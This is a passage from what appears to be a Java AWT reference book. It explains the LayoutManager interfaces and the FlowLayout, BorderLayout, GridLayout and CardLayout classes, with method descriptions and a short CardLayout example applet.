                        text.getBytes (0, textsize, data, 0);
                        fon.write (data);
                        fon.close ();
                    } catch (IOException exc) {
                        String errorString = "IOException: " + filename;
                        data = new byte[errorString.length()];
                        errorString.getBytes (0, errorString.length(), data, 0);
                    }
                    myLabel.setText ("Save: " + filename);
                }
                // Note - on successful save, text is redisplayed
                myTextArea.setText (new String (data, 0));
                setCursor (Frame.DEFAULT_CURSOR);
            }
            return true;
        }
        return false;
    }
}

Most of this application is one long action() method that handles all the action events that take place within the Frame. The constructor doesn't do much besides arrange the display; it includes code to create a File menu with one item, Quit. This menu is visible in the upper left corner of the Frame; we'll see more about working with menus in Chapter 10, Would You Like to Choose from the Menu? We provide a main() method to display the Frame and a handleEvent() method to shut the application down if the event WINDOW_DESTROY occurs.

But the heart of this program is clearly its action() method. action() starts by checking whether the user selected a menu item; if so, it shuts down the application because the only item on our menu is Quit. It then checks whether the user clicked on one of the buttons and sets the FileDialog mode to LOAD or SAVE accordingly. It then sets a default filename, *.java, which limits the display to filenames ending in .java. Next, action() shows the dialog. Because file dialogs are modal, show() blocks until the user selects a file or clicks Cancel.

The next line detects whether or not getFile() returns null. A null return indicates that the user selected Cancel; in this case, the dialog disappears, but nothing else happens. We then build a complete filename from the directory name and the name the user selected. If the dialog's state is LOAD, we read the file and display it in the text area. Otherwise, the dialog's state must be SAVE, so we save the contents of the text area under the given filename. Note that we first check for the string *.* and remove it if it is present. In Java 1.1, these two lines are unnecessary, but they don't hurt, either.

Previous | Home | Next
Dialogs | Book Index | Layouts
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 7] Layouts

Previous Chapter 7 Next

7. Layouts

Contents:
FlowLayout
BorderLayout
GridLayout
CardLayout
GridBagLayout
GridBagConstraints
Combining Layouts
Disabling the LayoutManager
Designing Your Own LayoutManager
The sun.awt Layout Collection
Other Layouts Available on the Net

This chapter expands upon the idea of a layout manager, which was mentioned briefly in the previous chapter. Every container has a LayoutManager that is responsible for positioning the component objects within it, regardless of the platform or the screen size. Layout managers eliminate the need to compute component placement on your own, which would be a losing proposition since the size required for any component depends on the platform on which it is displayed. Even for a simple layout, the code required to discover component sizes and compute absolute positions could be hundreds of lines, particularly if you concern yourself with what happens when the user resizes a window. A layout manager takes care of this for you. It asks each component in the layout how much space it requires, then arranges the components on the screen as best it can, based on the component sizes on the platform in use and the space available, resizing the components as needed.

To find out how much space a component needs, a layout manager calls the component's getMinimumSize() and getPreferredSize() methods. ( Java 1.1 also has a getMaximumSize() method; the existing layout managers don't take advantage of it.) These methods report the minimum space that a component requires to be displayed correctly and the optimal size at which it looks best. Thus, each component must know its space requirements; the layout manager uses these to arrange the screen; and your Java program never has to worry about platform-dependent positioning.

The java.awt package provides five layout managers: FlowLayout, BorderLayout, GridLayout, CardLayout, and GridBagLayout. Four additional layouts are provided in the sun.awt package: HorizBagLayout, VerticalBagLayout, OrientableFlowLayout, and VariableGridLayout. OrientableFlowLayout is new to Java 1.1. Of the 1.0 layouts, all are available in the JDK and Internet Explorer. The VariableGridLayout is also available with Netscape Navigator. This chapter discusses all of them, along with the LayoutManager and LayoutManager2 interfaces; we'll pay particular attention to how each layout manager computes positions for its components. We will also discuss how to combine layouts to generate more complex screens and how to create your own LayoutManager for special situations.

7.1 The LayoutManager Interface

The LayoutManager interface defines the responsibilities of something that wants to lay out Components within a Container. It is the LayoutManager's duty to determine the position and size of each component within the Container. You will never directly call the methods of the LayoutManager interface; for the most part, layout managers do their work behind the scenes. Once you have created a LayoutManager object and told the container to use it (by calling setLayout()), you're finished with it. The system calls the appropriate methods in the layout manager when necessary.

Therefore, the LayoutManager interface is most important when you are writing a new layout manager; we'll discuss it here because it's the scaffolding on which all layout managers are based. Like any interface, LayoutManager specifies the methods a layout manager must implement but says nothing about how the LayoutManager does its job. Therefore, we'll make a few observations before proceeding. First, a layout manager is free to ignore some of its components; there is no requirement that a layout manager display everything. For example, a Container using a BorderLayout might include thirty or forty components. However, the BorderLayout will display at most five of them (the last component placed in each of its five named areas). Likewise, a CardLayout may manage many components but displays only one at a time.

Second, a layout manager can do anything it wants with the components' minimum and preferred sizes. It is free to ignore either. It makes sense that a layout manager can ignore a preferred size; after all, "preferred" means "give me this if it's available." However, a layout manager can also ignore a minimum size. At times, there is no reasonable alternative: the container may not have enough room to display a component at its minimum size. How to handle this situation is left to the layout manager's discretion. All layout managers currently ignore a component's maximum size, though this may change in the future.

Methods of the LayoutManager Interface

Five methods make up the LayoutManager interface. If you create your own class that implements LayoutManager, you must define all five. As you will see, many of the methods do not have to do anything, but there must still be a stub with the appropriate method signature.

public abstract void addLayoutComponent (String name, Component component)

The addLayoutComponent() method is called only when the program assigns a name to the component when adding it to the layout (i.e., the program calls add(String, Component) rather than simply calling add(Component) or the Java 1.1 add(Component, Object)). It is up to the layout manager to decide what, if anything, to do with the name. For example, BorderLayout uses name to specify an area on the screen in which to display the component. Most layout managers don't require a name and will only implement a stub.

public abstract void removeLayoutComponent (Component component)

The removeLayoutComponent() method's responsibility is to remove component from any internal storage used by the layout manager. This method will probably be stubbed out for your own layouts and do nothing. However, it may need to do something if your layout manager associates components with names.

public abstract Dimension preferredLayoutSize (Container parent)

The preferredLayoutSize() method is called to determine the preferred size of the components within the Container. It returns a Dimension object that contains the required height and width. parent is the object whose components need to be laid out. Usually, the LayoutManager determines how to size parent by calculating the sizes of the components within it and calculating the dimensions required to display them. On other occasions, it may just return parent.setSize().

public abstract Dimension minimumLayoutSize (Container parent)

The minimumLayoutSize() method is called to determine the minimum size of the components within the Container. It returns a Dimension object that contains the required height and width. parent is the object whose components need to be laid out.

public abstract void layoutContainer (Container parent)

The layoutContainer() method is where a LayoutManager does most of its work. The layoutContainer() method is responsible for the positioning of all the Components of parent. Each specific layout positions the enclosed components based upon its own rules.

The LayoutManager2 Interface

Numerous changes were introduced in Java 1.1 to make it conform to various design patterns. These patterns provide consistency in usage and make Java programming easier. The LayoutManager2 interface was introduced for this reason. This new interface solves a problem that occurs when working with the GridBagLayout. While the addLayoutComponent(String, Component) method of LayoutManager works great for BorderLayout and CardLayout, you can't use it for a GridBagLayout. The position of a component in a GridBagLayout is controlled by a number of constraints, which are encapsulated in a GridBagConstraints object. To associate constraints with a component, you needed to call a setConstraints() method. Although this works, it is not consistent with the way you add components to other layouts. Furthermore, as more and more people create their own layout managers, the number of ways to associate positioning information with a component could grow endlessly. LayoutManager2 defines a version of addLayoutComponent() that can be used by all constraint-based layout managers, including older managers like BorderLayout and CardLayout. This method lets you pass an arbitrary object to the layout manager to provide positioning information. Layout managers that need additional information (like the GridBagConstraints object) now implement LayoutManager2 instead of LayoutManager.

In addition to swapping the parameters to the addLayoutComponent(Component, Object), the new LayoutManager2 interface also defines several methods that aren't really needed now but will facilitate the introduction of "peerless components" in a later release. Methods of the LayoutManager2 interface

public abstract void addLayoutComponent(Component comp, Object constraints) (New)

The addLayoutComponent() method is called when a program assigns constraints to the component comp when adding it to the layout. In practice, this means that the program added the component by calling the new method add(Component component, Object constraints) rather than the older methods add(Component component) or add(String name, Component component)). It is up to the layout manager to decide what, if anything, to do with the constraints. For example, GridBagLayout uses constraints to associate a GridBagConstraints object to the component comp. BorderLayout uses constraints to associate a location string (like "Center") with the component.

public abstract Dimension maximumLayoutSize(Container target) (New)

The maximumLayoutSize() method must return the maximum size of the target container under this layout manager. Previously, only minimum and preferred sizes were available. Now a container can have a maximum size. Once layout managers support the concept of maximum sizes, containers will not grow without bounds when additional space is available. If there is no actual maximum, the Dimension should have a width and height of the constant Integer.MAX_VALUE.

public abstract float getLayoutAlignmentX(Container target) (New)

The getLayoutAlignmentX() method must return the alignment of target along the x axis. The return value should be between 0.0 and 1.0. Values nearer 0 mean that the container will be positioned closer to the left edge of the area available. Values nearer 1 mean that the container will be positioned closer to the right. The value 0.5 means the container should be centered.

public abstract float getLayoutAlignmentY(Container target) (New)

The getLayoutAlignmentY() method must return the alignment of target along the y axis. The return value should be between 0.0 and 1.0. Values nearer 0 mean that the container will be positioned closer to the top of the area available. Values nearer 1 mean that the container will be positioned closer to the bottom. The value 0.5 means the container should be centered.

public abstract void invalidateLayout(Container target) (New)

The invalidateLayout() method tells the layout manager that any layout information it has for target is invalid. This method will usually be implemented as a stub (i.e., {}). However, if the layout manager caches any information about target when this method is called, the manager should consider that information invalid and discard it.

Previous | Home | Next
FileDialog | Book Index | FlowLayout
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 7] 7.2 FlowLayout

Previous Chapter 7
Layouts 		Next

7.2 FlowLayout

FlowLayout is the default LayoutManager for a Panel. A FlowLayout adds components to the container in rows, working from left to right. When it can't fit any more components in a row, it starts a new row--not unlike a word processor with word wrap enabled. When the container gets resized, the components within it get repositioned based on the container's new size. If sufficient space is available, components within FlowLayout containers are given their preferred size. If there is insufficient space, you do not see the components in their entirety.

FlowLayout Methods

Constants

FlowLayout defines three constants, all of which are used to specify alignment. The alignment tells FlowLayout where to start positioning the components on each row. Each component is still added from left to right, no matter what the alignment setting is.

public final static int LEFT

LEFT is the constant for left alignment.

public final static int CENTER

CENTER is the constant for center alignment and is the default.

public final static int RIGHT

RIGHT is the constant for right alignment.

Constructors

public FlowLayout ()

This constructor creates a FlowLayout using default settings: center alignment with a horizontal and vertical gap of five pixels. The gap is the space between the different components in the different directions. By default, there will be five pixels between components. The constructor is usually called within a call to setLayout(): setLayout (new FlowLayout()). Figure 7.1 shows how the default FlowLayout behaves with different screen sizes. As the screen C shows, if the screen is too small, the components will not be shrunk so that they can fit better.

Figure 7.1: FlowLayout with six buttons and three different screen sizes

[Graphic: Figure 7-1]

public FlowLayout (int alignment)

This version of the constructor creates a FlowLayout using the specified alignment and a horizontal and vertical gap of five pixels. Valid alignments are the FlowLayout constants, although there is no verification. Figure 7.2 shows the effect of different alignments: FlowLayout.LEFT (screen A), FlowLayout.CENTER (B), and FlowLayout.RIGHT (C).

Figure 7.2: FlowLayout with three different alignments

[Graphic: Figure 7-2]

public FlowLayout (int alignment, int hgap, int vgap)

The final version of the constructor is called by the other two. It requires you to explicitly specify the alignment, horizontal gap (hgap), and vertical gap (vgap). This creates a FlowLayout with an alignment of alignment, horizontal gap of hgap, and vertical gap of vgap. The units for gaps are pixels. It is possible to have negative gaps if you want components to be placed on top of one another. Figure 7.3 shows the effect of changing the gap sizes.

Figure 7.3: FlowLayout with hgap of 0 and vgap of 20

[Graphic: Figure 7-3]

Informational methods

public int getAlignment () (New)

The getAlignment() method retrieves the current alignment of the FlowLayout. The return value should equal one of the class constants LEFT, CENTER, or RIGHT.

public void setAlignment (int alignment) (New)

The setAlignment() method changes the FlowLayout alignment to alignment. The alignment value should equal one of the class constants LEFT, CENTER, or RIGHT, but this method does not check. After changing the alignment, you must validate() the Container.

public int getHgap () (New)

The getHgap() method retrieves the current horizontal gap setting.

public void setHgap (int hgap) (New)

The setHgap() method changes the current horizontal gap setting to hgap. After changing the gaps, you must validate() the Container.

public int getVgap () (New)

The getVgap() method retrieves the current vertical gap setting.

public void setVgap (int hgap) (New)

The setVgap() method changes the current vertical gap setting to vgap. After changing the gaps, you must validate() the Container.

LayoutManager methods

public void addLayoutComponent (String name, Component component)

The addLayoutComponent() method of FlowLayout does nothing.

public void removeLayoutComponent (Component component)

The removeLayoutComponent() method of FlowLayout does nothing.

public Dimension preferredLayoutSize (Container target)

The preferredLayoutSize() method of FlowLayout calculates the preferred dimensions for the target container. The FlowLayout computes the preferred size by placing all the components in one row and adding their individual preferred sizes along with gaps and insets.

public Dimension minimumLayoutSize (Container target)

The minimumLayoutSize() method of FlowLayout calculates the minimum dimensions for the container by adding up the sizes of the components. The FlowLayout computes the minimum size by placing all the components in one row and adding their individual minimum sizes along with gaps and insets.

public void layoutContainer (Container target)

The layoutContainer() method draws target's components on the screen, starting with the first row of the display, going left to right across the screen, based on the current alignment setting. When it reaches the right margin of the container, it skips down to the next row, and continues drawing additional components.

Miscellaneous methods

public String toString ()

The toString() method of FlowLayout returns the current horizontal and vertical gap settings along with the alignment (left, center, right). For a FlowLayout that uses all the defaults, toString() produces:

java.awt.FlowLayout[hgap=5,vgap=5,align=center]

Previous | Home | Next
The LayoutManager Interface | Book Index | BorderLayout
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 7] 7.3 BorderLayout

Previous Chapter 7
Layouts 		Next

7.3 BorderLayout

BorderLayout is the default LayoutManager for a Window. It provides a very flexible way of positioning components along the edges of the window. The following call to setLayout() changes the LayoutManager of the current container to the default BorderLayout: setLayout(new BorderLayout()). Figure 7.4 shows a typical BorderLayout.

Figure 7.4: BorderLayout

[Graphic: Figure 7-4]

BorderLayout is the only layout provided that requires you to name components when you add them to the layout; if you're using a BorderLayout, you must use add(String name, Component component) in Java 1.0 or add(Component component, String name) in Java 1.1 (parameter order switched). (The CardLayout can use these versions of add(), but does not require it.) The name parameter of add() specifies the region to which the component should be added. The five different regions are "North", "South", "East", and "West" for the edges of the window, and "Center" for any remaining interior space. These names are case sensitive. It is not necessary that a container use all five regions. If a region is not used, it relinquishes its space to the regions around it. If you add() multiple objects to a single region, the layout manager only displays the last one. If you want to display multiple objects within a region, group them within a Panel first, then add() the Panel.

NOTE:

In Java 1.1, if you do not provide a name, the component is placed in the "Center" region.

BorderLayout Methods

Constants

Prior to Java 1.1, you had to use string constants to specify the constraints when adding a component to a container whose layout is BorderLayout. With Java 1.1, you can use class constants, instead of a literal string, in the following list.

public static final String CENTER (New)

The CENTER constant represents the "Center" string and indicates that a component should be added to the center region.

public static final String EAST (New)

The EAST constant represents the "East" string and indicates that a component should be added to the east region.

public static final String NORTH (New)

The NORTH constant represents the "North" string and indicates that a component should be added to the north region.

public static final String SOUTH (New)

The SOUTH constant represents the "South" string and indicates that a component should be added to the south region.

public static final String WEST (New)

The WEST constant represents the "West" string and indicates that a component should be added to the west region.

Constructors

public BorderLayout ()

This constructor creates a BorderLayout using a default setting of zero pixels for the horizontal and vertical gaps. The gap specifies the space between adjacent components. With horizontal and vertical gaps of zero, components in adjacent regions will touch each other. As Figure 7.4 shows, each component within a BorderLayout will be resized to fill an entire region.

public BorderLayout (int hgap, int vgap)

This version of the constructor allows you to create a BorderLayout with a horizontal gap of hgap and vertical gap of vgap, putting some space between the different components. The units for gaps are pixels. It is possible to have negative gaps if you want components to overlap.

Informational methods

public int getHgap () (New)

The getHgap() method retrieves the current horizontal gap setting.

public void setHgap (int hgap) (New)

The setHgap() method changes the current horizontal gap setting to hgap. After changing the gaps, you must validate() the Container.

public int getVgap () (New)

The getVgap() method retrieves the current vertical gap setting.

public void setVgap (int hgap) (New)

The setVgap() method changes the current vertical gap setting to vgap. After changing the gaps, you must validate() the Container.

LayoutManager methods

public void addLayoutComponent (String name, Component component) (Deprecated)

This version of addLayoutComponent() has been deprecated and replaced by the addLayoutComponent(Component, Object) method of the LayoutManager2 interface.

public void removeLayoutComponent (Component component)

The removeLayoutComponent() method of BorderLayout removes component from the container, if it is in one of the five regions. If component is not in the container already, nothing happens.

public Dimension preferredLayoutSize (Container target)

The preferredLayoutSize() method of BorderLayout calculates the preferred dimensions for the components in target. To compute the preferred height, a BorderLayout adds the height of the getPreferredSize() of the north and south components to the maximum getPreferredSize() height of the east, west, and center components. The vertical gaps are added in for the north and south components, if present. The top and bottom insets are also added into the height. To compute the preferred width, a BorderLayout adds the width of the getPreferredSize() of east, west, and center components, along with the horizontal gap for the east and west regions. It compares this value to the preferred widths of the north and south components. The BorderLayout takes the maximum of these three and then adds the left and right insets, plus twice the horizontal gap. The result is the preferred width for the container.

public Dimension minimumLayoutSize (Container target)

The minimumLayoutSize() method of BorderLayout calculates the minimum dimensions for the components in target. To compute the minimum height, a BorderLayout adds the height of the getMinimumSize() of the north and south components to the maximum of the minimum heights of the east, west, and center components. The vertical gaps are added in for the north and south components, if present, along with the container's top and bottom insets. To compute the minimum width, a BorderLayout adds the width of the getMinimumSize() of east, west, and center components, along with the horizontal gap for the east and west regions. The BorderLayout takes the maximum of these three and then adds the left and right insets, plus twice the horizontal gap. The result is the minimum width for the container.

public void layoutContainer (Container target)

The layoutContainer() method draws target's components on the screen in the appropriate regions. The north region takes up the entire width of the container along the top. South does the same along the bottom. The heights of north and south will be the heights of the components they contain. The east and west regions are given the widths of the components they contain. For height, east and west are given whatever is left in the container after satisfying north's and south's height requirements. If there is any extra vertical space, the east and west components are resized accordingly. Any space left in the middle of the screen is assigned to the center region. If there is insufficient space for all the components, space is allocated according to the following priority: north, south, west, east, and center. Unlike FlowLayout, BorderLayout reshapes the internal components of the container to fit within their region. Figure 7.5 shows what happens if the east and south regions are not present and the gaps are nonzero.

Figure 7.5: BorderLayout with missing regions

[Graphic: Figure 7-5]

LayoutManager2 methods

public void addLayoutComponent (Component component, Object name) (New)

This addLayoutComponent() method puts component in the name region of the container. In Java 1.1, if name is null, component is added to the center. If the name is not "North", "South", "East", "West", or "Center", the component is added to the container but won't be displayed. Otherwise, it is displayed in the appropriate region.

There can only be one component in any region, so any component already in the named region is removed. To get multiple components in one region of a BorderLayout, group the components in another container, and add the container as a whole to the layout.

If name is not a String, addLayoutComponent() throws the run-time exception IllegalArgumentException.

public abstract Dimension maximumLayoutSize(Container target) (New)

The maximumLayoutSize() method returns a Dimension object with a width and height of Integer.MAX_VALUE. In effect, this means that BorderLayout does not support the concept of maximum size.

public abstract float getLayoutAlignmentX(Container target) (New)

The getLayoutAlignmentX() method says that BorderLayout containers should be centered horizontally within the area available.

public abstract float getLayoutAlignmentY(Container target) (New)

The getLayoutAlignmentY() method says that BorderLayout containers should centered vertically within the area available.

public abstract void invalidateLayout(Container target) (New)

The invalidateLayout() method of BorderLayout does nothing.

Miscellaneous methods

public String toString ()

The toString() method of BorderLayout returns a string showing the current horizontal and vertical gap settings. If both gaps are zero, the result will be:

java.awt.BorderLayout[hgap=0,vgap=0]

Previous | Home | Next
FlowLayout | Book Index | GridLayout
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 7] 7.4 GridLayout

Previous Chapter 7
Layouts 		Next

7.4 GridLayout

The GridLayout layout manager is ideal for laying out objects in rows and columns, where each cell in the layout has the same size. Components are added to the layout from left to right, top to bottom. setLayout(new GridLayout(2,3)) changes the LayoutManager of the current container to a 2 row by 3 column GridLayout. Figure 7.6 shows an applet using this layout.

Figure 7.6: Applet using GridLayout

[Graphic: Figure 7-6]

GridLayout Methods

Constructors

public GridLayout () (New)

This constructor creates a GridLayout initially configured to have one row, an infinite number of columns, and no gaps. A gap is the space between adjacent components in the horizontal or vertical direction. With a gap of zero, components in adjacent cells will have no space between them.

public GridLayout (int rows, int columns)

This constructor creates a GridLayout initially configured to be rows x columns in size. The default setting for horizontal and vertical gaps is zero pixels. The gap is the space between adjacent components in the horizontal and vertical directions. With a gap of zero, components in adjacent cells will have no space between them.

You can set the number of rows or columns to zero; this means that the layout will grow without bounds in that direction. If both rows and columns are zero, the run-time exception IllegalArgumentException will be thrown.

NOTE:

The rows and columns passed to the GridLayout constructor are only recommended values. It is possible that the system will pick other values if the number of objects you add to the layout is sufficiently different from the size you requested; for example, you placed nine objects in a six-element grid.

public GridLayout (int rows, int columns, int hgap, int vgap)

This version of the constructor is called by the previous one. It creates a GridLayout with an initial configuration of rows x columns, with a horizontal gap of hgap and vertical gap of vgap. The gap is the space between the different components in the different directions, measured in pixels. It is possible to have negative gaps if you want components to overlap.

You can set the number of rows or columns to zero; this means that the layout will grow without bounds in that direction. If both rows and columns are zero, the run-time exception IllegalArgumentException will be thrown.

Informational methods

public int getColumns () (New)

The getColumns() method retrieves the current column setting, which may differ from the number of columns displayed.

public void setColumns (int columns) (New)

The setColumns() method changes the current column setting to columns. After changing the setting, you must validate() the Container. If you try to set the number of rows and the number of columns to zero, this method throws the run-time exception IllegalArgumentException.

public int getRows () (New)

The getRows() method retrieves the current row setting; this may differ from the number of rows displayed.

public void setRows (int rows) (New)

The setRows() method changes the current row setting to rows. After changing the setting, you must validate() the Container. If you try to set the number of rows and the number of columns to zero, this method throws the run-time exception IllegalArgumentException.

public int getHgap () (New)

The getHgap() method retrieves the current horizontal gap setting.

public void setHgap (int hgap) (New)

The setHgap() method changes the current horizontal gap setting to hgap. After changing the gaps, you must validate() the Container.

public int getVgap () (New)

The getVgap() method retrieves the current vertical gap setting.

public void setVgap (int hgap) (New)

The setVgap() method changes the current vertical gap setting to vgap. After changing the gaps, you must validate() the Container.

LayoutManager methods

public void addLayoutComponent (String name, Component component)

The addLayoutComponent() method of GridLayout does nothing.

public void removeLayoutComponent (Component component)

The removeLayoutComponent() method of GridLayout does nothing.

public Dimension preferredLayoutSize (Container target)

The preferredLayoutSize() method of GridLayout calculates the preferred dimensions for the components in target. The preferred size depends on the size of the grid, which may not be the size requested by the constructor; the GridLayout treats the constructor's arguments as recommendations and may ignore them if appropriate.

The actual number of rows and columns is based upon the number of components within the Container. The GridLayout tries to observe the number of rows requested first, calculating the number of columns. If the requested number of rows is nonzero, the number of columns is determined by (# components + rows - 1) / rows. If request is for zero rows, the number of rows to use is determined by a similar formula: (# components + columns - 1) / columns. Table 7.1 demonstrates this calculation. The last entry in this table is of special interest: if you request a 3x3 grid but only place four components in the layout, you get a 2x2 layout as a result. If you do not want to be surprised, size the GridLayout based on the number of objects you plan to put into the display.

Table 7.1: GridLayout Row/Column Calculation
Rows | Columns | # Components | Display Rows | Display Columns
0 | 1 | 10 | 10 | 1
0 | 2 | 10 | 5 | 2
1 | 0 | 10 | 1 | 10
2 | 0 | 10 | 2 | 5
2 | 3 | 10 | 2 | 5
2 | 3 | 20 | 2 | 10
3 | 2 | 10 | 3 | 4
3 | 3 | 3 | 3 | 1
3 | 3 | 4 | 2 | 2

Once we know the dimensions of the grid, it's easy to compute the preferred size for the layout. The GridLayout takes the maximum height and maximum width of the preferred sizes for all the components in the layout. (Note that the maximum width and maximum height aren't necessarily from the same component.) This becomes the preferred size of each cell within the layout. The preferred size of the layout as a whole is computed using the preferred size of a cell and adding gaps and insets as appropriate.

public Dimension minimumLayoutSize (Container target)

The minimumLayoutSize() method of GridLayout calculates the minimum dimensions for the components in target. First it determines the actual number of rows and columns in the final layout, using the method described previously. The minimumLayoutSize() method then determines the widest and tallest getMinimumSize() of a component, and this becomes the minimum size of a cell within the layout. The minimum size of the layout as a whole is computed using the minimum size of a cell and adding gaps and insets as appropriate.

public void layoutContainer (Container target)

The layoutContainer() method draws target's components on the screen in a series of rows and columns. Each component within a GridLayout will be the same size, if it is possible. If there is insufficient space for all the components, the size of each is reduced proportionally.

Miscellaneous methods

public String toString ()

The toString() method of GridLayout returns a string including the current horizontal and vertical gap settings, along with the rows and columns settings. For a GridLayout created with 2 rows and 3 columns, the result would be:

java.awt.GridLayout[hgap=0,vgap=0,rows=2,cols=3]

Previous | Home | Next
BorderLayout | Book Index | CardLayout
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 7] 7.5 CardLayout

Previous Chapter 7
Layouts 		Next

7.5 CardLayout

The CardLayout layout manager is significantly different from the other layouts. Whereas the other layout managers attempt to display all the components within the container at once, a CardLayout displays only one component at a time. (That component could be a Component or another Container.) The result is similar to Netscape Navigator's Property sheets or a tabbed Dialog, without the tabs. You can flip through the cards (components) in the layout in order or jump to a specific card if you know its name. The following call to setLayout() changes the LayoutManager of the current container to CardLayout:

lm = new CardLayout();
setLayout (lm);

Unlike most other layout managers, CardLayout has a number of instance methods that programs have to call. Therefore, you usually have to retain a reference to the layout manager. In addition, you usually have some other component to control the CardLayout (i.e., select which card to view). Most simply, you could put some buttons in a panel and stick this panel in the north region of a BorderLayout; then make another panel with a CardLayout, and place that in the center. A more complex task would be to build a set of tabs to control the CardLayout.

A CardLayout allows you to assign names to the components it manages. You can use the name to jump to an arbitrary component by calling the manager's show() method. In Java 1.0, naming was optional; you could call add(Component) to put a component in the layout with a null name. A null name meant only that you couldn't flip to the component at will; you could only display the component by calling next() or previous() (or first() or last()), which cycle through all the components in order. In Java 1.1, all components added to a CardLayout must be named.

CardLayout Methods

Constructors

public CardLayout ()

This constructor creates a CardLayout using a horizontal and vertical gap of zero pixels. With CardLayout, there is no space between components because only one component is visible at a time; think of the gaps as insets.

public CardLayout (int hgap, int vgap)

This version of the constructor allows you to create a CardLayout with a horizontal gap of hgap and vertical gap of vgap to add some space around the outside of the component that is displayed. The units for gaps are pixels. Using negative gaps chops off components at the edges of the container.

Informational methods

public int getHgap () (New)

The getHgap() method retrieves the current horizontal gap setting.

public void setHgap (int hgap) (New)

The setHgap() method changes the current horizontal gap setting to hgap. After changing the gaps, you must validate() the Container.

public int getVgap () (New)

The getVgap() method retrieves the current vertical gap setting.

public void setVgap (int hgap) (New)

The setVgap() method changes the current vertical gap setting to vgap. After changing the gaps, you must validate() the Container.

LayoutManager methods

public void addLayoutComponent (String name, Component component) (Deprecated)

This version of addLayoutComponent() has been deprecated and replaced by the addLayoutComponent(Component, Object) method of the LayoutManager2 interface.

public void removeLayoutComponent (Component component)

The removeLayoutComponent() method of CardLayout removes component from the container. If component is not in the container already, nothing happens.

public Dimension preferredLayoutSize (Container target)

The preferredLayoutSize() method of CardLayout retrieves the preferred size for all the components within it. The preferredLayoutSize() method then determines the widest and tallest size of all components (not necessarily from the same one), adds the appropriate insets and gaps, and uses that as the preferred size for the layout.

public Dimension minimumLayoutSize (Container target)

The minimumLayoutSize() method of CardLayout calculates the minimum size for all the components within it. The minimumLayoutSize() method then determines the widest and tallest minimum size of all components (not necessarily from the same one), adds the appropriate insets and gaps, and uses that as the minimum size for the layout.

public void layoutContainer (Container target)

The layoutContainer() method draws target's visible components one on top of another. Initially, all components are visible. Components do not become invisible until you select one for display, by calling the first(), last(), next(), previous(), or show() methods. Where possible, CardLayout reshapes all components to fit the target container.

LayoutManager2 methods

public void addLayoutComponent (Component component, Object name) (New)

This addLayoutComponent() method of CardLayout puts component into an internal table with a key of name. The name comes from the version of add() that has a constraints object as a parameter. The name allows you to refer to the component when you call other card layout methods, like show(). If you call the version of add() that only takes a Component parameter, you cannot call the show() method to flip to the specific component.

If name is not a String, the run-time exception IllegalArgumentException is thrown.

public abstract Dimension maximumLayoutSize(Container target) (New)

The maximumLayoutSize() method returns a Dimension object with a width and height of Integer.MAX_VALUE. In practice, this means that CardLayout doesn't support the concept of maximum size.

public abstract float getLayoutAlignmentX(Container target) (New)

The getLayoutAlignmentX() method says that CardLayout containers should be centered horizontally within the area available.

public abstract float getLayoutAlignmentY(Container target) (New)

The getLayoutAlignmentY() method says that CardLayout containers should be centered vertically within the area available.

public abstract void invalidateLayout(Container target) (New)

The invalidateLayout() method of CardLayout does nothing.

CardLayout methods

This group of methods controls which component the CardLayout displays. The show() is only usable if you assigned components names when adding them to the container. The others can be used even if the components are unnamed; they cycle through the components in the order in which they were added. All of these methods require the parent Container (i.e., the container being managed by this layout manager) as an argument. If the layout manager of the parent parameter is anything other than the container using this instance of the CardLayout, the method throws the run-time exception IllegalArgumentException.

public void first (Container parent)

The first() method flips to the initial component in parent.

public void next (Container parent)

The next() method flips to the following component in parent, wrapping back to the beginning if the current component is the last.

public void previous (Container parent)

The previous() method flips to the prior component in parent, wrapping to the end if the current component is the first.

public void last (Container parent)

The last() method flips to the final component in parent.

public void show (Container parent, String name)

The show() method displays the component in parent that was assigned the given name when it was added to the container. If there is no component with name contained within parent, nothing happens.

Miscellaneous methods

public String toString ()

The toString() method of CardLayout returns the a string showing the current horizontal and vertical gap settings. The result for a typical CardLayout would be:

java.awt.CardLayout[hgap=0,vgap=0]

CardLayout Example

Figure 7.7 shows a simple CardLayout. This layout has three cards that cycle when you make a selection. The first card (A) contains some Checkbox items within a Panel, the second card (B) contains a single Button, and the third (C) contains a List and a Choice within another Panel.

Figure 7.7: Different views of CardLayout

[Graphic: Figure 7-7]

Example 7.1 is the code that generated Figure 7.7.

Example 7.1: The CardExample Class

import java.awt.*;
import java.applet.*;
public class CardExample extends Applet {
    CardLayout cl = new CardLayout();
    public void init () {
        String fonts[] = Toolkit.getDefaultToolkit().getFontList();
        setLayout (cl);
        Panel pA = new Panel();
        Panel pC = new Panel ();
        p1.setLayout (new GridLayout (3, 2));
        List l = new List(4, false);
        Choice c = new Choice ();
        for (int i=0;i<fonts.length;i++) {
            pA.add (new Checkbox (fonts[i]));
            l.addItem (fonts[i]);
            c.addItem (fonts[i]);
        }
        pC.add (l);
        pC.add (c);
        add ("One", pA);
        add ("Two", new Button ("Click Here"));
        add ("Three", pC);
    }
    public boolean action (Event e, Object o) {
        cl.next(this);
        return true;
    }
}

Each panel within the CardLayout has its own layout manager. Panel A uses a GridLayout; panel C uses its default layout manager, which is a FlowLayout. When the user takes any action (i.e., clicking on a checkbox or button, or selecting an item from the List or Choice components), the system generates a call to action(), which calls the CardLayout's next() method, thus displaying the next card in the sequence.

Previous | Home | Next
GridLayout | Book Index | GridBagLayout
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 7] 7.6 GridBagLayout

Previous Chapter 7
Layouts 		Next

7.6 GridBagLayout

